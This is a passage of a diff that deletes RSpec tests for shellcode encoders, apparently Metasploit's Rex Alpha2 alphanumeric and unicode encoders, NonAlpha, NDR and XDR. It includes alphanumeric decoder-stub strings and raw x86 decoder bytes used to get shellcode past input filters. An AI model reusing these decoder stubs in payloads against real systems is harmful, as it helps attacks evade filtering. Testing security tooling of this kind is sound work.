describe ".gen_decoder_prefix" do
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect { decoder_prefix }.to raise_error(ArgumentError)
end
end
context "when offset is bigger than 32" do
let(:reg) { 'ECX' }
let(:offset) { 33 }
it "raises an error" do
expect { decoder_prefix }.to raise_error(RuntimeError)
end
end
context "when modified_registers is passed" do
context "when reg is ECX" do
context "when offset is 10" do
let(:reg) { 'ECX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'ECX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'ECX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'ECX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
context "when reg is EDX" do
context "when offset is 10" do
let(:reg) { 'EDX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'EDX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'EDX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'EDX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
end
end
describe ".gen_decoder" do
subject(:decoder) { described_class.gen_decoder(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns the alpha upper decoder" do
is_expected.to include(decoder_stub)
end
it "uses the correct decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect { decoder }.to raise_error(ArgumentError)
end
end
context "when offset is bigger than 32" do
let(:reg) { 'ECX' }
let(:offset) { 33 }
it "raises an error" do
expect { decoder }.to raise_error(RuntimeError)
end
end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "marks EDX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
it "marks ECX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EAX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EAX)
end
it "marks ESP as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end
end

View File

@ -1,296 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/alpha2/alpha_upper'
RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
let(:decoder_stub) do
"VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI"
end
let(:reg_signature) do
{
'EAX' => 'PY',
'ECX' => 'I',
'EDX' => 'RY',
'EBX' => 'SY',
'ESP' => 'TY',
'EBP' => 'UY',
'ESI' => 'VY',
'EDI' => 'WY'
}
end
describe ".default_accepted_chars" do
subject { described_class.default_accepted_chars }
it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) }
end
describe ".gen_decoder_prefix" do
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect { decoder_prefix }.to raise_error(ArgumentError)
end
end
context "when offset is bigger than 20" do
let(:reg) { 'ECX' }
let(:offset) { 25 }
it "raises an error" do
expect { decoder_prefix }.to raise_error(RuntimeError)
end
end
context "when modified_registers is passed" do
context "when reg is ECX" do
context "when offset is 10" do
let(:reg) { 'ECX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'ECX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'ECX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'ECX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
context "when reg is EDX" do
context "when offset is 10" do
let(:reg) { 'EDX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'EDX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'EDX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'EDX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
end
end
describe ".gen_decoder" do
subject(:decoder) { described_class.gen_decoder(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns the alpha upper decoder" do
is_expected.to include(decoder_stub)
end
it "uses the correct decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect { decoder }.to raise_error(ArgumentError)
end
end
context "when offset is bigger than 20" do
let(:reg) { 'ECX' }
let(:offset) { 25 }
it "raises an error" do
expect { decoder }.to raise_error(RuntimeError)
end
end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "marks EDX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
it "marks ECX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks ESI as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESI)
end
it "marks EAX as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EAX)
end
it "marks ESP as modified" do
described_class.gen_decoder(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end
end

View File

@ -1,42 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/alpha2/generic'
RSpec.describe Rex::Encoder::Alpha2::Generic do
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
describe ".default_accepted_chars" do
subject(:accepted_chars) { described_class.default_accepted_chars }
it { is_expected.to eq(('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a) }
end
describe ".gen_decoder_prefix" do
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 0 }
it { is_expected.to eq('') }
end
describe ".gen_decoder" do
subject(:decoder) { described_class.gen_decoder(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 0 }
it { is_expected.to eq('') }
end
describe ".gen_second" do
subject(:second) { described_class.gen_second(block, base) }
let(:block) { 0xaf }
let(:base) { 0xfa }
it "returns block ^ base" do
expect(second ^ base).to eq(block)
end
end
end

View File

@ -1,88 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/alpha2/unicode_mixed'
RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
let(:decoder_stub) do
"jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB"
end
let(:reg_signature) do
{
'EAX' => 'PPYA',
'ECX' => '4444',
'EDX' => 'RRYA',
'EBX' => 'SSYA',
'ESP' => 'TUYA',
'EBP' => 'UUYAs',
'ESI' => 'VVYA',
'EDI' => 'WWYA'
}
end
describe ".gen_decoder_prefix" do
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect { decoder_prefix }.to raise_error(RuntimeError)
end
end
context "when offset is bigger than 21" do
let(:reg) { 'ECX' }
let(:offset) { 22 }
it "raises an error" do
expect { decoder_prefix }.to raise_error(RuntimeError)
end
end
end
describe ".gen_decoder" do
subject(:decoder) { described_class.gen_decoder(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns the alpha upper decoder" do
is_expected.to include(decoder_stub)
end
it "uses the correct decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect { decoder }.to raise_error(RuntimeError)
end
end
context "when offset is bigger than 21" do
let(:reg) { 'ECX' }
let(:offset) { 22 }
it "raises an error" do
expect { decoder }.to raise_error(RuntimeError)
end
end
end
end

View File

@ -1,94 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/alpha2/unicode_upper'
RSpec.describe Rex::Encoder::Alpha2::UnicodeUpper do
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
let(:decoder_stub) do
"QATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB"
end
let(:reg_signature) do
{
'EAX' => 'PPYA',
'ECX' => '4444',
'EDX' => 'RRYA',
'EBX' => 'SSYA',
'ESP' => 'TUYA',
'EBP' => 'UUYA',
'ESI' => 'VVYA',
'EDI' => 'WWYA'
}
end
describe ".default_accepted_chars" do
subject(:accepted_chars) { described_class.default_accepted_chars }
it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) }
end
describe ".gen_decoder_prefix" do
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect(decoder_prefix).to be_nil
end
end
context "when offset is bigger than 6" do
let(:reg) { 'ECX' }
let(:offset) { 7 }
it "raises an error" do
expect { decoder_prefix }.to raise_error(RuntimeError)
end
end
end
describe ".gen_decoder" do
subject(:decoder) { described_class.gen_decoder(reg, offset) }
let(:reg) { 'ECX' }
let(:offset) { 5 }
it "returns the alpha upper decoder" do
is_expected.to include(decoder_stub)
end
it "uses the correct decoder prefix" do
is_expected.to include(reg_signature[reg])
end
context "when invalid reg name" do
let(:reg) { 'NON EXISTENT' }
let(:offset) { 0 }
it "raises an error" do
expect { decoder }.to raise_error(NoMethodError)
end
end
context "when offset is bigger than 6" do
let(:reg) { 'ECX' }
let(:offset) { 7 }
it "raises an error" do
expect { decoder }.to raise_error(RuntimeError)
end
end
end
end

View File

@ -1,169 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/ndr'
RSpec.describe Rex::Encoder::NDR do
describe ".align" do
subject { described_class.align(string) }
context "when empty string argument" do
let(:string) { "" }
it { is_expected.to eq("") }
end
context "when 32bit aligned length argument" do
let(:string) { "A" * 4 }
it { is_expected.to eq("") }
end
context "when 32bit unaligned length argument" do
let(:string) { "A" * 5 }
it "returns the padding, as null bytes, necessary to 32bit align the argument" do
is_expected.to eq("\x00\x00\x00")
end
end
end
describe ".long" do
subject { described_class.long(string) }
let(:string) { 0x41424344 }
it "encodes the arguments as 32-bit little-endian unsigned integer" do
is_expected.to eq("\x44\x43\x42\x41")
end
context "when argument bigger than 32-bit unsigned integer" do
let(:string) { 0x4142434445 }
it "truncates the argument" do
is_expected.to eq("\x45\x44\x43\x42")
end
end
end
describe ".short" do
subject { described_class.short(string) }
let(:string) { 0x4142 }
it "encodes the arguments as 16-bit little-endian unsigned integer" do
is_expected.to eq("\x42\x41")
end
context "when argument bigger than 16-bit unsigned integer" do
let(:string) { 0x41424344 }
it "truncates the argument" do
is_expected.to eq("\x44\x43")
end
end
end
describe ".byte" do
subject { described_class.byte(string) }
let(:string) { 0x41 }
it "encodes the arguments as 8-bit unsigned integer" do
is_expected.to eq("\x41")
end
context "when argument bigger than 8-bit unsigned integer" do
let(:string) { 0x4142 }
it "truncates the argument" do
is_expected.to eq("\x42")
end
end
end
describe ".UniConformantArray" do
subject { described_class.UniConformantArray(string) }
let(:string) { "ABCDE" }
it "returns the encoded string" do
is_expected.to be_kind_of(String)
end
it "starts encoding the string length as 32-bit little-endian unsigned integer" do
expect(subject.unpack("V").first).to eq(string.length)
end
it "adds the string argument" do
is_expected.to include(string)
end
it "ends with padding to make result length 32-bits aligned" do
is_expected.to end_with("\x00" * 3)
end
end
describe ".string" do
subject { described_class.string(string) }
let(:string) { "ABCD" }
it "returns the encoded string" do
is_expected.to be_kind_of(String)
expect(subject.length).to eq(20)
end
it "starts encoding string metadata" do
expect(subject.unpack("VVV")[0]).to eq(string.length)
expect(subject.unpack("VVV")[1]).to eq(0)
expect(subject.unpack("VVV")[2]).to eq(string.length)
end
it "adds the string argument null-byte terminated" do
is_expected.to include("ABCD\x00")
end
it "ends with padding to make result length 32-bits aligned" do
is_expected.to end_with("\x00" * 3)
end
end
describe ".wstring" do
subject { described_class.wstring(string) }
it_behaves_like "Rex::Encoder::NDR.wstring"
end
describe ".UnicodeConformantVaryingString" do
subject { described_class.UnicodeConformantVaryingString(string) }
it_behaves_like "Rex::Encoder::NDR.wstring"
end
describe ".uwstring" do
subject { described_class.uwstring(string) }
let(:string) { "ABCD" }
it "encodes the argument as null-terminated unicode string" do
is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00")
end
it "starts encoding string metadata" do
expect(subject.unpack("VVVV")[1]).to eq(string.length + 1)
expect(subject.unpack("VVVV")[2]).to eq(0)
expect(subject.unpack("VVVV")[3]).to eq(string.length + 1)
end
it "ends with padding to make result length 32-bits aligned" do
is_expected.to end_with("\x00" * 2)
expect(subject.length).to eq(28)
end
end
describe ".wstring_prebuilt" do
subject { described_class.wstring_prebuilt(string) }
it_behaves_like "Rex::Encoder::NDR.wstring_prebuild"
end
describe ".UnicodeConformantVaryingStringPreBuilt" do
subject { described_class.UnicodeConformantVaryingStringPreBuilt(string) }
it_behaves_like "Rex::Encoder::NDR.wstring_prebuild"
end
end

View File

@ -1,142 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/nonalpha'
RSpec.describe Rex::Encoder::NonAlpha do
let(:decoder) do
dec = "\x66\xB9\xFF\xFF" +
"\xEB\x19" +
"\\\x5E" +
"\x8B\xFE" +
"\x83\xC7" + "." +
"\x8B\xD7" +
"\x3B\xF2" +
"\\\x7D\x0B" +
"\xB0\\\x7B" +
"\xF2\xAE" +
"\xFF\xCF" +
"\xAC" +
"\\\x28\x07" +
"\xEB\xF1" +
"\xEB" + "." +
"\xE8\xE2\xFF\xFF\xFF"
Regexp.new(dec)
end
describe ".gen_decoder" do
subject { described_class.gen_decoder }
it "returns an String" do
is_expected.to be_kind_of(String)
end
it "returns the decoder code" do
is_expected.to match(decoder)
end
end
describe ".encode_byte" do
subject { described_class.encode_byte(block, table, tablelen) }
context "when tablelen > 255" do
let(:block) { 0x20 }
let(:table) { "" }
let(:tablelen) { 256 }
it "raises an error" do
expect { subject }.to raise_error(RuntimeError)
end
end
context "when block == 0x7b" do
let(:block) { 0x7b }
let(:table) { "" }
let(:tablelen) { 0 }
it "raises an error" do
expect { subject }.to raise_error(RuntimeError)
end
end
context "when block is an upcase letter char code" do
let(:block) { 0x42 }
let(:table) { "" }
let(:tablelen) { 0 }
it "returns an Array" do
is_expected.to be_kind_of(Array)
end
it "returns a 3 fields Array" do
expect(subject.length).to eq(3)
end
it "returns '{' char as block" do
expect(subject[0]).to eq('{')
end
it "appends offset to table" do
expect(subject[1]).to eq((0x7b - block).chr)
end
it "increments tablelen" do
expect(subject[2]).to eq(tablelen + 1)
end
end
context "when block is a downcase letter char code" do
let(:block) { 0x62 }
let(:table) { "" }
let(:tablelen) { 0 }
it "returns an Array" do
is_expected.to be_kind_of(Array)
end
it "returns a 3 fields Array" do
expect(subject.length).to eq(3)
end
it "returns '{' char as block" do
expect(subject[0]).to eq('{')
end
it "appends offset to table" do
expect(subject[1]).to eq((0x7b - block).chr)
end
it "increments tablelen" do
expect(subject[2]).to eq(tablelen + 1)
end
end
context "when block is another char code" do
let(:block) { 0x7c }
let(:table) { "" }
let(:tablelen) { 0 }
it "returns an Array" do
is_expected.to be_kind_of(Array)
end
it "returns a 3 fields Array" do
expect(subject.length).to eq(3)
end
it "returns same block char code" do
expect(subject[0]).to eq(block.chr)
end
it "doesn't modify table" do
expect(subject[1]).to eq(table)
end
it "doesn't modify tablelen" do
expect(subject[2]).to eq(tablelen)
end
end
end
end

View File

@ -1,279 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/encoder/xdr'
RSpec.describe Rex::Encoder::XDR do
describe ".encode_int" do
subject(:encoded_int) { described_class.encode_int(int) }
let(:int) { 0x41424344 }
it "returns an String" do
is_expected.to be_kind_of(String)
end
it "encodes big endian 32 bit usigned integer" do
is_expected.to eq("\x41\x42\x43\x44")
end
end
describe ".decode_int!" do
subject(:decoded_int) { described_class.decode_int!(data) }
context "when data is nil" do
let(:data) { nil }
it "raises an error" do
expect { decoded_int }.to raise_error(ArgumentError)
end
end
context "when data is empty" do
let(:data) { '' }
it "raises an error" do
expect { decoded_int }.to raise_error(ArgumentError)
end
end
context "when data is 1-4 bytes length" do
let(:data) { "\x41\x42\x43\x44" }
it "unpacks big endian 32bit unsigned int" do
is_expected.to eq(0x41424344)
end
end
context "when data is bigger than 4 bytes" do
let(:data) { "\x41\x42\x43\x44\x45" }
it "unpacks just one big endian 32bit unsigned int" do
is_expected.to eq(0x41424344)
end
end
end
describe ".encode_lchar" do
subject(:encoded_lchar) { described_class.encode_lchar(char) }
context "when char & 0x80 == 0" do
let(:char) { 0x80 }
it "encodes char byte as integer with sign extended" do
is_expected.to eq("\xff\xff\xff\x80")
end
end
context "when char & 0x80 != 0" do
let(:char) { 0x41 }
it "encodes char byte as integer" do
is_expected.to eq("\x00\x00\x00\x41")
end
end
end
describe ".decode_lchar!" do
subject(:decoded_lchar) { described_class.decode_lchar!(data) }
context "when data's length is equal or greater than 4" do
let(:data) { "\x41\x42\x43\x44" }
it "returns char code for last byte" do
is_expected.to eq("D")
end
end
context "when data's length is less than 4" do
let(:data) { "\x41" }
it "raises an error" do
expect { decoded_lchar }.to raise_error(ArgumentError)
end
end
end
describe ".encode_string" do
subject(:encoded_string) { described_class.encode_string(str, max) }
context "when data is bigger than max" do
let(:str) { "ABCDE" }
let(:max) { 4 }
it "raises an error" do
expect { encoded_string }.to raise_error(ArgumentError)
end
end
context "when data is shorter or equal to max" do
let(:str) { "ABCDE" }
let(:max) { 5 }
it "returns an String" do
is_expected.to be_kind_of(String)
end
it "prefix encoded length" do
is_expected.to start_with("\x00\x00\x00\x05")
end
it "returns the encoded string padded with zeros" do
is_expected.to eq("\x00\x00\x00\x05ABCDE\x00\x00\x00")
end
end
end
describe ".decode_string!" do
subject(:decoded_string) { described_class.decode_string!(data) }
context "when encoded string length is 0" do
let(:data) { "\x00\x00\x00\x00" }
it "returns empty string" do
is_expected.to eq("")
end
end
context "when string contains padding" do
let(:data) {"\x00\x00\x00\x03ABC00000"}
it "returns string without padding" do
is_expected.to eq("ABC")
end
end
context "when fake length" do
context "and no string" do
let(:data) { "\x00\x00\x00\x03" }
it "returns empty string" do
is_expected.to eq("")
end
end
context "longer than real string length" do
let(:data) { "\x00\x00\x00\x08ABCD" }
it "returns available string" do
is_expected.to eq("ABCD")
end
end
end
end
describe ".encode_varray" do
subject(:encoded_varray) { described_class.encode_varray(arr, max) }
context "when arr length is bigger than max" do
let(:arr) { [1, 2, 3] }
let(:max) { 2 }
it "raises an error" do
expect { encoded_varray }.to raise_error(ArgumentError)
end
end
context "when arr length is minor or equal than max" do
let(:arr) { [0x41414141, 0x42424242, 0x43434343] }
let(:max) { 3 }
it "returns an String" do
expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to be_kind_of(String)
end
it "prefixes encoded length" do
expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to start_with("\x00\x00\x00\x03")
end
it "returns the encoded array" do
expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to eq("\x00\x00\x00\x03\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43")
end
end
end
describe ".decode_varray!" do
subject(:decoded_varray) { described_class.decode_varray!(data) }
context "when encoded length is 0" do
let(:data) { "\x00\x00\x00\x00" }
it "returns an empty array" do
is_expected.to eq([])
end
end
context "when fake encoded length" do
context "and no values" do
let(:data) { "\x00\x00\x00\x02" }
it "raises an error" do
expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError)
end
end
context "longer than available values" do
let(:data) { "\x00\x00\x00\x02\x00\x00\x00\x41" }
it "raises an error" do
expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError)
end
end
end
context "when valid encoded data" do
let(:data) { "\x00\x00\x00\x02\x41\x42\x43\x44\x00\x00\x00\x11"}
it "retuns Array with decoded values" do
expect(described_class.decode_varray!(data) { |s| described_class.decode_int!(s) }).to eq([0x41424344, 0x11])
end
end
end
describe ".encode" do
it "encodes integers" do
expect(described_class.encode(1)).to eq("\x00\x00\x00\x01")
end
it "encodes arrays" do
expect(described_class.encode([0x41414141, 0x42424242])).to eq("\x00\x00\x00\x02\x41\x41\x41\x41\x42\x42\x42\x42")
end
it "encodes strings" do
expect(described_class.encode("ABCD")).to eq("\x00\x00\x00\x04\x41\x42\x43\x44")
end
it "encodes mixed type of elements" do
expect(described_class.encode(1, [0x41414141], "ABCD")).to eq("\x00\x00\x00\x01\x00\x00\x00\x01\x41\x41\x41\x41\x00\x00\x00\x04\x41\x42\x43\x44")
end
end
describe ".decode!" do
context "when no type arguments" do
it "retuns empty Array" do
expect(described_class.decode!("\x41\x41\x41\x41")).to eq([])
end
end
context "when not enough data" do
it "retuns Array filled with nils" do
expect(described_class.decode!("", Array)).to eq([nil])
end
end
it "decodes integers" do
expect(described_class.decode!("\x41\x41\x41\x41", Integer)).to eq([0x41414141])
end
it "decodes arrays" do
expect(described_class.decode!("\x00\x00\x00\x01\x41\x41\x41\x41", [Integer])).to eq([[0x41414141]])
end
it "decodes strings" do
expect(described_class.decode!("\x00\x00\x00\x01\x41", String)).to eq(["A"])
end
it "decodes mixed elements" do
